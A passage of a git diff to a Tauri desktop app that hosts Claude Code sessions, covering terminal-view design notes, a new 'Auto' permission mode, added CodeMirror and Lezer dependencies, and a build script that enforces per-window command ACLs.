@@ -62,10 +62,13 @@ Tauri uses a Rust backend paired with a web-based frontend rendered by the OS-na
|
||||
Implementation gotchas for the terminal view and its global controls (merged in PR #7, `terminal-layout-statusbar`):
|
||||
|
||||
- **xterm padding lives on a wrapper, never the host.** FitAddon measures the same element that `term.open()` mounts into, so any padding on that host element makes the grid overhang and clip its rightmost column / bottom row. Padding must live on a **wrapper `div`**; the xterm host fills it with no padding of its own. Do not reintroduce padding on the host element in `TerminalView.tsx`.
|
||||
- **STT mic and "Jump to Current" live in the global `StatusBar`, not per-terminal overlays.** There is a single `useSTT` instance in `App.tsx` bound to the active session. `Ctrl+Shift+M` routes through the Zustand store (`sttToggle`).
|
||||
- **The STT mic lives in the global `StatusBar`, not a per-terminal overlay.** There is a single `useSTT` instance in `App.tsx` bound to the active session. `Ctrl+Shift+M` routes through the Zustand store (`sttToggle`).
|
||||
- **Recording is pinned to where it started.** The STT transcript targets `recordingSessionIdRef` (the session recording began in), **not** the live active session — switching tabs mid-recording must not misroute the transcript.
|
||||
- **"Jump to Current" state is written only by the active terminal.** The active `TerminalView` surfaces `terminalAtBottom` and `scrollActiveToBottom` through the store; only the active terminal writes them, and they are cleared on its unmount.
|
||||
- **Set store function values via object-merge, not the updater form** — `set({ fn: value })`, not `set(state => ...)` — when publishing action callbacks (like `scrollActiveToBottom`) into the Zustand store.
|
||||
- **Scrolling is left to xterm, and the "Following" / "Jump to Current" controls that used to drive it are gone.** They were built for the normal buffer. Claude Code draws on the *alternate* screen, which has no scrollback, so in a Claude tab `viewportY` always equalled `baseY`, `isAtBottom` was permanently true and neither control could ever do anything — which is what made them look broken. **They did still work in `bash` tabs**, which run `bash -l` on the normal buffer; removing them is a real behaviour change there, and the justification is that xterm's native follow already covers it, not that nothing was lost. The manual `scrollToBottom()` on every write went with them — it fought that native behaviour, which follows the tail while the viewport is at the bottom and holds position while you read further up. `scrollToBottom()` remains only on activate and after a refit, and **both sample `viewportY >= baseY` before the `fit()`** so they re-anchor only a viewport that was already on the tail: the ResizeObserver fires for the Notes dock, the sidebar drag and any window resize, none of which are a reason to yank a reader to the bottom.
|
||||
- **A program that grabs the mouse and dies must be escapable without closing the tab.** A TUI sets DECSET `?1000`/`?1002`/`?1003` and, if it exits without resetting them, xterm keeps routing clicks, drags and (under `?1003`) every pointer *move* to the PTY — text selection dies and escape bytes flood the prompt. `TerminalView` reconciles a badge against `term.modes.mouseTrackingMode` **in the `term.write()` callback**: the mode only changes because the container printed a sequence, so one check per write catches every transition with no polling. Releasing writes the resets through `term.write`, **never `sendInput`** — the reset belongs to xterm's parser and must not reach the container, or a still-live TUI would simply re-grab the mouse on its next repaint. Bound to the control and to `Ctrl+Shift+X`, because the failure being recovered from is the pointer not working.
|
||||
- **The release control lives in the `StatusBar`, not over the terminal.** Mouse tracking is the *normal* steady state of every mouse-driven TUI — htop, vim, lazygit and Claude Code all set `?1000`/`?1002` — so a badge painted at `absolute top-2 right-4 z-50` would be on screen for the entire life of those programs and would swallow clicks aimed at that program's own top-right corner, silently killing its mouse with no undo. The active `TerminalView` publishes `terminalMouseCaptured` and `releaseActiveMouse` through the store instead, the same way `terminalHasSelection` and `sttToggle` already do.
|
||||
- **`macOptionClickForcesSelection: true` is set, and without it macOS has no force-select at all.** `SelectionService.shouldForceSelection` is `isMac ? altKey && macOptionClickForcesSelection : shiftKey`, and the option defaults to `false` — so the "hold Shift to select while a program holds the mouse" escape hatch is Shift everywhere else and **Option** on macOS, and existed on macOS only once this was turned on.
|
||||
- **Set store function values via object-merge, not the updater form** — `set({ fn: value })`, not `set(state => ...)` — when publishing action callbacks (like `sttToggle`) into the Zustand store.
|
||||
|
||||
### bollard (Docker API)
|
||||
|
||||
@@ -183,7 +186,7 @@ host keychain secrets.
|
||||
|
||||
### Permission Modes
|
||||
|
||||
`PermissionMode` (`models/project.rs`) is a four-state enum replacing the earlier `full_permissions`
|
||||
`PermissionMode` (`models/project.rs`) is a five-state enum replacing the earlier `full_permissions`
|
||||
boolean. It reaches Claude Code by two different routes:
|
||||
|
||||
| Mode | `cli_args()` — interactive terminals | `as_env_value()` — scheduler |
|
||||
@@ -191,6 +194,7 @@ boolean. It reaches Claude Code by two different routes:
|
||||
| `Plan` | `--permission-mode plan` | `plan` |
|
||||
| `Default` | *(no flag)* | `default` |
|
||||
| `AcceptEdits` | `--permission-mode acceptEdits` | `acceptEdits` |
|
||||
| `Auto` | `--permission-mode auto` | `auto` |
|
||||
| `Bypass` | `--dangerously-skip-permissions` | `bypass` |
|
||||
|
||||
`Project.permission_mode` is `Option<PermissionMode>`, and `effective_permission_mode()` resolves
|
||||
@@ -418,12 +422,6 @@ triple-c/
|
||||
│ ├── build-stt.yml # Build the STT image
|
||||
│ ├── backfill-releases.yml # Bulk copy releases to GitHub
|
||||
│ ├── cleanup-releases.yml # Prune old releases
|
||||
│ └── publish-arch-package.yml # Build triple-c-bin, attach it to the GitHub release (packaging/arch/)
|
||||
│
|
||||
├── packaging/
|
||||
│ └── arch/ # triple-c-bin Arch package — see packaging/arch/README.md
|
||||
│ ├── PKGBUILD
|
||||
│ └── README.md
|
||||
│
|
||||
└── app/ # Tauri v2 desktop application
|
||||
├── package.json # React, xterm.js, zustand, tailwindcss
|
||||
@@ -477,7 +475,7 @@ triple-c/
|
||||
│ │ ├── ProjectRow.tsx # Select-only sidebar row
|
||||
│ │ ├── ProjectList.tsx # Sidebar project list
|
||||
│ │ ├── AddProjectDialog.tsx # New-project dialog
|
||||
│ │ ├── PermissionModeControl.tsx # Plan/Default/Accept Edits/Bypass
|
||||
│ │ ├── PermissionModeControl.tsx # Plan/Default/Accept Edits/Auto/Bypass
|
||||
│ │ ├── ConfirmRemoveModal.tsx # Project removal confirmation
|
||||
│ │ └── *Editor.tsx / *Modal.tsx # EnvVars, PortMappings,
|
||||
│ │ # ClaudeInstructions, ClaudeCodeSettings —
|
||||
|
||||
Generated
+348
@@ -8,6 +8,21 @@
|
||||
"name": "triple-c",
|
||||
"version": "0.4.0",
|
||||
"dependencies": {
|
||||
"@codemirror/commands": "^6.11.1",
|
||||
"@codemirror/lang-css": "^6.3.1",
|
||||
"@codemirror/lang-html": "^6.4.12",
|
||||
"@codemirror/lang-javascript": "^6.2.5",
|
||||
"@codemirror/lang-json": "^6.0.2",
|
||||
"@codemirror/lang-markdown": "^6.5.2",
|
||||
"@codemirror/lang-python": "^6.2.1",
|
||||
"@codemirror/lang-rust": "^6.0.2",
|
||||
"@codemirror/lang-yaml": "^6.1.3",
|
||||
"@codemirror/language": "^6.12.4",
|
||||
"@codemirror/legacy-modes": "^6.5.4",
|
||||
"@codemirror/search": "^6.7.2",
|
||||
"@codemirror/state": "^6.7.6",
|
||||
"@codemirror/view": "^6.43.13",
|
||||
"@lezer/highlight": "^1.2.3",
|
||||
"@tauri-apps/api": "^2",
|
||||
"@tauri-apps/plugin-dialog": "^2.7.0",
|
||||
"@tauri-apps/plugin-opener": "^2.5.3",
|
||||
@@ -413,6 +428,204 @@
|
||||
"specificity": "bin/cli.js"
|
||||
}
|
||||
},
|
||||
"node_modules/@codemirror/autocomplete": {
|
||||
"version": "6.20.3",
|
||||
"resolved": "https://registry.npmjs.org/@codemirror/autocomplete/-/autocomplete-6.20.3.tgz",
|
||||
"integrity": "sha512-tlosUqb+3BbxCxZdu4tKeRghPFC+QM7q4X5YhKV2eCmPG+1r2F3f4AaSz5sCrFqUtX4Jh20VFTKecl16MgiV9g==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@codemirror/language": "^6.0.0",
|
||||
"@codemirror/state": "^6.0.0",
|
||||
"@codemirror/view": "^6.17.0",
|
||||
"@lezer/common": "^1.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@codemirror/commands": {
|
||||
"version": "6.11.1",
|
||||
"resolved": "https://registry.npmjs.org/@codemirror/commands/-/commands-6.11.1.tgz",
|
||||
"integrity": "sha512-O/4hG3SC1YwcmQ0d2UVNDs+AsaNWd1iHVxbTeEBuqH+6bExAiPK3iS/BvpY6rZGURALv4ZD3sIgcCmRvw3ehBg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@codemirror/language": "^6.0.0",
|
||||
"@codemirror/state": "^6.7.0",
|
||||
"@codemirror/view": "^6.27.0",
|
||||
"@lezer/common": "^1.1.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@codemirror/lang-css": {
|
||||
"version": "6.3.1",
|
||||
"resolved": "https://registry.npmjs.org/@codemirror/lang-css/-/lang-css-6.3.1.tgz",
|
||||
"integrity": "sha512-kr5fwBGiGtmz6l0LSJIbno9QrifNMUusivHbnA1H6Dmqy4HZFte3UAICix1VuKo0lMPKQr2rqB+0BkKi/S3Ejg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@codemirror/autocomplete": "^6.0.0",
|
||||
"@codemirror/language": "^6.0.0",
|
||||
"@codemirror/state": "^6.0.0",
|
||||
"@lezer/common": "^1.0.2",
|
||||
"@lezer/css": "^1.1.7"
|
||||
}
|
||||
},
|
||||
"node_modules/@codemirror/lang-html": {
|
||||
"version": "6.4.12",
|
||||
"resolved": "https://registry.npmjs.org/@codemirror/lang-html/-/lang-html-6.4.12.tgz",
|
||||
"integrity": "sha512-pw2ReWKUqSkbvh76RAT4NYxiogRu+PWkR2ukAwO9uOgrm8uipkzjtKKtNpyeAQwHOqxEeSvAXZ6vr3AfyB9y/w==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@codemirror/autocomplete": "^6.0.0",
|
||||
"@codemirror/lang-css": "^6.0.0",
|
||||
"@codemirror/lang-javascript": "^6.0.0",
|
||||
"@codemirror/language": "^6.4.0",
|
||||
"@codemirror/state": "^6.0.0",
|
||||
"@codemirror/view": "^6.17.0",
|
||||
"@lezer/common": "^1.0.0",
|
||||
"@lezer/css": "^1.1.0",
|
||||
"@lezer/html": "^1.3.12"
|
||||
}
|
||||
},
|
||||
"node_modules/@codemirror/lang-javascript": {
|
||||
"version": "6.2.5",
|
||||
"resolved": "https://registry.npmjs.org/@codemirror/lang-javascript/-/lang-javascript-6.2.5.tgz",
|
||||
"integrity": "sha512-zD4e5mS+50htS7F+TYjBPsiIFGanfVqg4HyUz6WNFikgOPf2BgKlx+TQedI1w6n/IqRBVBbBWmGFdLB/7uxO4A==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@codemirror/autocomplete": "^6.0.0",
|
||||
"@codemirror/language": "^6.6.0",
|
||||
"@codemirror/lint": "^6.0.0",
|
||||
"@codemirror/state": "^6.0.0",
|
||||
"@codemirror/view": "^6.17.0",
|
||||
"@lezer/common": "^1.0.0",
|
||||
"@lezer/javascript": "^1.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@codemirror/lang-json": {
|
||||
"version": "6.0.2",
|
||||
"resolved": "https://registry.npmjs.org/@codemirror/lang-json/-/lang-json-6.0.2.tgz",
|
||||
"integrity": "sha512-x2OtO+AvwEHrEwR0FyyPtfDUiloG3rnVTSZV1W8UteaLL8/MajQd8DpvUb2YVzC+/T18aSDv0H9mu+xw0EStoQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@codemirror/language": "^6.0.0",
|
||||
"@lezer/json": "^1.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@codemirror/lang-markdown": {
|
||||
"version": "6.5.2",
|
||||
"resolved": "https://registry.npmjs.org/@codemirror/lang-markdown/-/lang-markdown-6.5.2.tgz",
|
||||
"integrity": "sha512-AwBOdkWYuA//WcM0xO5PfHPUcmz/O2i5o0Nsg1U69SII/loCJlFI1Romd9xp2HYb1kYJRGZotyqRghuHH5n8Kw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@codemirror/autocomplete": "^6.7.1",
|
||||
"@codemirror/lang-html": "^6.0.0",
|
||||
"@codemirror/language": "^6.3.0",
|
||||
"@codemirror/state": "^6.0.0",
|
||||
"@codemirror/view": "^6.0.0",
|
||||
"@lezer/common": "^1.2.1",
|
||||
"@lezer/markdown": "^1.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@codemirror/lang-python": {
|
||||
"version": "6.2.1",
|
||||
"resolved": "https://registry.npmjs.org/@codemirror/lang-python/-/lang-python-6.2.1.tgz",
|
||||
"integrity": "sha512-IRjC8RUBhn9mGR9ywecNhB51yePWCGgvHfY1lWN/Mrp3cKuHr0isDKia+9HnvhiWNnMpbGhWrkhuWOc09exRyw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@codemirror/autocomplete": "^6.3.2",
|
||||
"@codemirror/language": "^6.8.0",
|
||||
"@codemirror/state": "^6.0.0",
|
||||
"@lezer/common": "^1.2.1",
|
||||
"@lezer/python": "^1.1.4"
|
||||
}
|
||||
},
|
||||
"node_modules/@codemirror/lang-rust": {
|
||||
"version": "6.0.2",
|
||||
"resolved": "https://registry.npmjs.org/@codemirror/lang-rust/-/lang-rust-6.0.2.tgz",
|
||||
"integrity": "sha512-EZaGjCUegtiU7kSMvOfEZpaCReowEf3yNidYu7+vfuGTm9ow4mthAparY5hisJqOHmJowVH3Upu+eJlUji6qqA==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@codemirror/language": "^6.0.0",
|
||||
"@lezer/rust": "^1.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@codemirror/lang-yaml": {
|
||||
"version": "6.1.3",
|
||||
"resolved": "https://registry.npmjs.org/@codemirror/lang-yaml/-/lang-yaml-6.1.3.tgz",
|
||||
"integrity": "sha512-AZ8DJBuXGVHybpBQhmZtgew5//4hv3tdkXnr3vDmOUMJRuB6vn/uuwtmTOTlqEaQFg3hQSVeA90NmvIQyUV6FQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@codemirror/autocomplete": "^6.0.0",
|
||||
"@codemirror/language": "^6.0.0",
|
||||
"@codemirror/state": "^6.0.0",
|
||||
"@lezer/common": "^1.2.0",
|
||||
"@lezer/highlight": "^1.2.0",
|
||||
"@lezer/lr": "^1.0.0",
|
||||
"@lezer/yaml": "^1.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@codemirror/language": {
|
||||
"version": "6.12.4",
|
||||
"resolved": "https://registry.npmjs.org/@codemirror/language/-/language-6.12.4.tgz",
|
||||
"integrity": "sha512-1q4PaT+o6PbgpkJt4Q8Fv5XJxTy4FUZ4MWETtyiDw3J0Pyr9E2vqcKL+k9wcvjNTIsauxvE7OfmWj3FRPHQ76A==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@codemirror/state": "^6.0.0",
|
||||
"@codemirror/view": "^6.23.0",
|
||||
"@lezer/common": "^1.5.0",
|
||||
"@lezer/highlight": "^1.0.0",
|
||||
"@lezer/lr": "^1.0.0",
|
||||
"style-mod": "^4.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@codemirror/legacy-modes": {
|
||||
"version": "6.5.4",
|
||||
"resolved": "https://registry.npmjs.org/@codemirror/legacy-modes/-/legacy-modes-6.5.4.tgz",
|
||||
"integrity": "sha512-/cZr6qZyl08iYNLGsJ862CXXNI51LryRFRE40ejgoIjXZz0C1rGkD3/Ek5jM/8w1ceRjqtt4qx/KLMh4zBTgew==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@codemirror/language": "^6.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@codemirror/lint": {
|
||||
"version": "6.9.7",
|
||||
"resolved": "https://registry.npmjs.org/@codemirror/lint/-/lint-6.9.7.tgz",
|
||||
"integrity": "sha512-28/+iWLYxKxsvGYhSYL7zaCZqLz5+FFFDq9tVsvGv9kv8RY4fFAchJ5WX9M3YrrRlTIsECjsXPqeNgnSmNP2dg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@codemirror/state": "^6.0.0",
|
||||
"@codemirror/view": "^6.42.0",
|
||||
"crelt": "^1.0.5"
|
||||
}
|
||||
},
|
||||
"node_modules/@codemirror/search": {
|
||||
"version": "6.7.2",
|
||||
"resolved": "https://registry.npmjs.org/@codemirror/search/-/search-6.7.2.tgz",
|
||||
"integrity": "sha512-gUYkYhT2+n/+VGZ+8EzE5WFkYZUZYm1VOKDudIsNqh42uRVQJ0a6Yss9sdKT3MeOYfuL1N6AZA57oza0Oyr0LA==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@codemirror/state": "^6.0.0",
|
||||
"@codemirror/view": "^6.37.0",
|
||||
"crelt": "^1.0.5"
|
||||
}
|
||||
},
|
||||
"node_modules/@codemirror/state": {
|
||||
"version": "6.7.6",
|
||||
"resolved": "https://registry.npmjs.org/@codemirror/state/-/state-6.7.6.tgz",
|
||||
"integrity": "sha512-kAz+AncRtKuIknedxT1bq4XwXv4UowhbkHU1myPrtVb/jZtImWuV5BXzv5vK6i3kYACsdiZiQKFQQ5Mq7elW8w==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@marijn/find-cluster-break": "^1.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@codemirror/view": {
|
||||
"version": "6.43.13",
|
||||
"resolved": "https://registry.npmjs.org/@codemirror/view/-/view-6.43.13.tgz",
|
||||
"integrity": "sha512-sihaFrUzAsYBQsL9J2t69y8nfMQGwcYmggAZsk+kjPbjYZMyuf2hU8tUNTZ+P+isb6XRr8JE22TZlJxBoVdH1A==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@codemirror/state": "^6.7.0",
|
||||
"crelt": "^1.0.6",
|
||||
"style-mod": "^4.1.0",
|
||||
"w3c-keyname": "^2.2.4"
|
||||
}
|
||||
},
|
||||
"node_modules/@csstools/color-helpers": {
|
||||
"version": "6.0.2",
|
||||
"resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-6.0.2.tgz",
|
||||
@@ -1055,6 +1268,123 @@
|
||||
"@jridgewell/sourcemap-codec": "^1.4.14"
|
||||
}
|
||||
},
|
||||
"node_modules/@lezer/common": {
|
||||
"version": "1.5.2",
|
||||
"resolved": "https://registry.npmjs.org/@lezer/common/-/common-1.5.2.tgz",
|
||||
"integrity": "sha512-sxQE460fPZyU3sdc8lafxiPwJHBzZRy/udNFynGQky1SePYBdhkBl1kOagA9uT3pxR8K09bOrmTUqA9wb/PjSQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@lezer/css": {
|
||||
"version": "1.3.8",
|
||||
"resolved": "https://registry.npmjs.org/@lezer/css/-/css-1.3.8.tgz",
|
||||
"integrity": "sha512-EJn1zcL9qoDptief6ipWKZKLiOpXkxSe0+t8CH9oiMVcZlq7NBWrjCqnc/41EIjeo/ITj1gFFiATdTkaJDL+Og==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@lezer/common": "^1.2.0",
|
||||
"@lezer/highlight": "^1.0.0",
|
||||
"@lezer/lr": "^1.3.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@lezer/highlight": {
|
||||
"version": "1.2.3",
|
||||
"resolved": "https://registry.npmjs.org/@lezer/highlight/-/highlight-1.2.3.tgz",
|
||||
"integrity": "sha512-qXdH7UqTvGfdVBINrgKhDsVTJTxactNNxLk7+UMwZhU13lMHaOBlJe9Vqp907ya56Y3+ed2tlqzys7jDkTmW0g==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@lezer/common": "^1.3.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@lezer/html": {
|
||||
"version": "1.3.13",
|
||||
"resolved": "https://registry.npmjs.org/@lezer/html/-/html-1.3.13.tgz",
|
||||
"integrity": "sha512-oI7n6NJml729m7pjm9lvLvmXbdoMoi2f+1pwSDJkl9d68zGr7a9Btz8NdHTGQZtW2DA25ybeuv/SyDb9D5tseg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@lezer/common": "^1.2.0",
|
||||
"@lezer/highlight": "^1.0.0",
|
||||
"@lezer/lr": "^1.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@lezer/javascript": {
|
||||
"version": "1.5.5",
|
||||
"resolved": "https://registry.npmjs.org/@lezer/javascript/-/javascript-1.5.5.tgz",
|
||||
"integrity": "sha512-sWg4yX1J6XW67AaAynVt0iwF0M5c+np36TEu+P2ifAJ8haRYvHnWDV28r1jdwnJehWCwXECutAUy56K4RBZIyg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@lezer/common": "^1.2.0",
|
||||
"@lezer/highlight": "^1.1.3",
|
||||
"@lezer/lr": "^1.3.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@lezer/json": {
|
||||
"version": "1.0.3",
|
||||
"resolved": "https://registry.npmjs.org/@lezer/json/-/json-1.0.3.tgz",
|
||||
"integrity": "sha512-BP9KzdF9Y35PDpv04r0VeSTKDeox5vVr3efE7eBbx3r4s3oNLfunchejZhjArmeieBH+nVOpgIiBJpEAv8ilqQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@lezer/common": "^1.2.0",
|
||||
"@lezer/highlight": "^1.0.0",
|
||||
"@lezer/lr": "^1.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@lezer/lr": {
|
||||
"version": "1.4.10",
|
||||
"resolved": "https://registry.npmjs.org/@lezer/lr/-/lr-1.4.10.tgz",
|
||||
"integrity": "sha512-rnCpTIBafOx4mRp43xOxDJbFipJm/c0cia/V5TiGlhmMa+wsSdoGmUN3w5Bqrks/09Q/D4tNAmWaT8p6NRi77A==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@lezer/common": "^1.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@lezer/markdown": {
|
||||
"version": "1.7.2",
|
||||
"resolved": "https://registry.npmjs.org/@lezer/markdown/-/markdown-1.7.2.tgz",
|
||||
"integrity": "sha512-iTkYvoVcKt3WkeL7qUDyXHONZEwLio4wj8KTNi2dnjQEXBZKMV63BpQrPqfsM+OkvuRbiSTAcycYAsQzLhRNoQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@lezer/common": "^1.5.0",
|
||||
"@lezer/highlight": "^1.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@lezer/python": {
|
||||
"version": "1.1.19",
|
||||
"resolved": "https://registry.npmjs.org/@lezer/python/-/python-1.1.19.tgz",
|
||||
"integrity": "sha512-MhQIURHRytsNzP/YXnqpYKW6la6voAH3kyplTOOiCdjyFY6cWWGFVmYVdHIPrElqSDf4iCDktQCockB9FxuhzQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@lezer/common": "^1.2.0",
|
||||
"@lezer/highlight": "^1.0.0",
|
||||
"@lezer/lr": "^1.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@lezer/rust": {
|
||||
"version": "1.0.3",
|
||||
"resolved": "https://registry.npmjs.org/@lezer/rust/-/rust-1.0.3.tgz",
|
||||
"integrity": "sha512-XxErOjZzQ7yJt1agUT4fu9qQvESZ3acgoxpPaPTPOiUx+duCjaVAtZGFIgphkHxlN05djdVAIOy/wItShMEjqQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@lezer/common": "^1.2.0",
|
||||
"@lezer/highlight": "^1.0.0",
|
||||
"@lezer/lr": "^1.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@lezer/yaml": {
|
||||
"version": "1.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@lezer/yaml/-/yaml-1.0.4.tgz",
|
||||
"integrity": "sha512-2lrrHqxalACEbxIbsjhqGpSW8kWpUKuY6RHgnSAFZa6qK62wvnPxA8hGOwOoDbwHcOFs5M4o27mjGu+P7TvBmw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@lezer/common": "^1.2.0",
|
||||
"@lezer/highlight": "^1.0.0",
|
||||
"@lezer/lr": "^1.4.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@marijn/find-cluster-break": {
|
||||
"version": "1.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@marijn/find-cluster-break/-/find-cluster-break-1.0.4.tgz",
|
||||
"integrity": "sha512-Wy0V7+SGUjnF9/TkiM1hKVDPj7jKXduPNboMVtHTA8dySMURWqfg/JZ9E2Sq8JgSJmkl7k7Qe9FLeMSrSraWmQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@rolldown/pluginutils": {
|
||||
"version": "1.0.0-beta.27",
|
||||
"resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz",
|
||||
@@ -2523,6 +2853,12 @@
|
||||
"dev": true,
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/crelt": {
|
||||
"version": "1.0.7",
|
||||
"resolved": "https://registry.npmjs.org/crelt/-/crelt-1.0.7.tgz",
|
||||
"integrity": "sha512-aK6BbWfhf4U/wCcLHKPJl/xa6VkVstRaPywWtMKGwuOLc/wZTyQYuoxgvZnNsBvv7Kg3YTBQYYBCggcviQczuA==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/css-tree": {
|
||||
"version": "3.1.0",
|
||||
"resolved": "https://registry.npmjs.org/css-tree/-/css-tree-3.1.0.tgz",
|
||||
@@ -3599,6 +3935,12 @@
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/style-mod": {
|
||||
"version": "4.1.4",
|
||||
"resolved": "https://registry.npmjs.org/style-mod/-/style-mod-4.1.4.tgz",
|
||||
"integrity": "sha512-XXWIQt633/EpAFx8aZDOTjBzrCaGmhvEQlQo6MVPfa2OzO2cWo+4hV9h+6UkHYlXGfy+ODXKUdP7Pthmcu5ATw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/symbol-tree": {
|
||||
"version": "3.2.4",
|
||||
"resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
|
||||
@@ -3925,6 +4267,12 @@
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/w3c-keyname": {
|
||||
"version": "2.2.8",
|
||||
"resolved": "https://registry.npmjs.org/w3c-keyname/-/w3c-keyname-2.2.8.tgz",
|
||||
"integrity": "sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/w3c-xmlserializer": {
|
||||
"version": "5.0.0",
|
||||
"resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz",
|
||||
|
||||
@@ -13,6 +13,21 @@
|
||||
"hooks": "git -C .. config core.hooksPath .githooks && echo \"pre-commit secret scan enabled\""
|
||||
},
|
||||
"dependencies": {
|
||||
"@codemirror/commands": "^6.11.1",
|
||||
"@codemirror/lang-css": "^6.3.1",
|
||||
"@codemirror/lang-html": "^6.4.12",
|
||||
"@codemirror/lang-javascript": "^6.2.5",
|
||||
"@codemirror/lang-json": "^6.0.2",
|
||||
"@codemirror/lang-markdown": "^6.5.2",
|
||||
"@codemirror/lang-python": "^6.2.1",
|
||||
"@codemirror/lang-rust": "^6.0.2",
|
||||
"@codemirror/lang-yaml": "^6.1.3",
|
||||
"@codemirror/language": "^6.12.4",
|
||||
"@codemirror/legacy-modes": "^6.5.4",
|
||||
"@codemirror/search": "^6.7.2",
|
||||
"@codemirror/state": "^6.7.6",
|
||||
"@codemirror/view": "^6.43.13",
|
||||
"@lezer/highlight": "^1.2.3",
|
||||
"@tauri-apps/api": "^2",
|
||||
"@tauri-apps/plugin-dialog": "^2.7.0",
|
||||
"@tauri-apps/plugin-opener": "^2.5.3",
|
||||
|
||||
Generated
+1489
-36
File diff suppressed because it is too large
Load Diff
@@ -36,14 +36,28 @@ tower-http = { version = "0.6", features = ["cors"] }
|
||||
base64 = "0.22"
|
||||
rand = "0.9"
|
||||
local-ip-address = "0.6"
|
||||
argon2 = "0.5"
|
||||
aes-gcm = "0.10"
|
||||
zeroize = "1"
|
||||
# WHATWG URL parsing for `url_open`'s re-validation of URLs arriving from the
|
||||
# container. Already in the tree transitively (reqwest), and the point of
|
||||
# using it rather than hand-rolling is parity with the frontend's `new URL()`.
|
||||
url = "2"
|
||||
similar = "2"
|
||||
# Marketplace repos are fetched on the host into a bare cache (spec §3).
|
||||
# Blocking client + rustls: no git binary or OpenSSL needed on the host.
|
||||
gix = { version = "0.88", default-features = false, features = ["blocking-network-client", "blocking-http-transport-reqwest-rust-tls", "credentials", "sha1"] }
|
||||
|
||||
[dev-dependencies]
|
||||
# `test-util` (not part of tokio's `full`) lets the auto-start retry tests run
|
||||
# their backoff schedule under a paused clock instead of in real seconds.
|
||||
tokio = { version = "1", features = ["full", "test-util"] }
|
||||
tempfile = "3"
|
||||
|
||||
[build-dependencies]
|
||||
tauri-build = { version = "2", features = [] }
|
||||
# build.rs reads capabilities/*.json to cross-check them against generate_handler!.
|
||||
serde_json = "1"
|
||||
|
||||
[features]
|
||||
default = ["custom-protocol"]
|
||||
|
||||
+207
-2
@@ -1,3 +1,208 @@
|
||||
fn main() {
|
||||
tauri_build::build()
|
||||
//! Declares the Tauri `AppManifest`, so every app command is ACL-gated per window, and refuses
|
||||
//! to build unless every registered command is granted in exactly one capability file — the
|
||||
//! file whose `windows` the command's name says it belongs to. Without an app manifest, tauri
|
||||
//! 2.11 skips the ACL for app commands entirely (`webview/mod.rs:1794`), so any local window
|
||||
//! could call any command.
|
||||
//!
|
||||
//! Because the census can only vouch for what it reads, the build also stops on any capability
|
||||
//! tauri would load that the census does not: anything in `capabilities/` other than a
|
||||
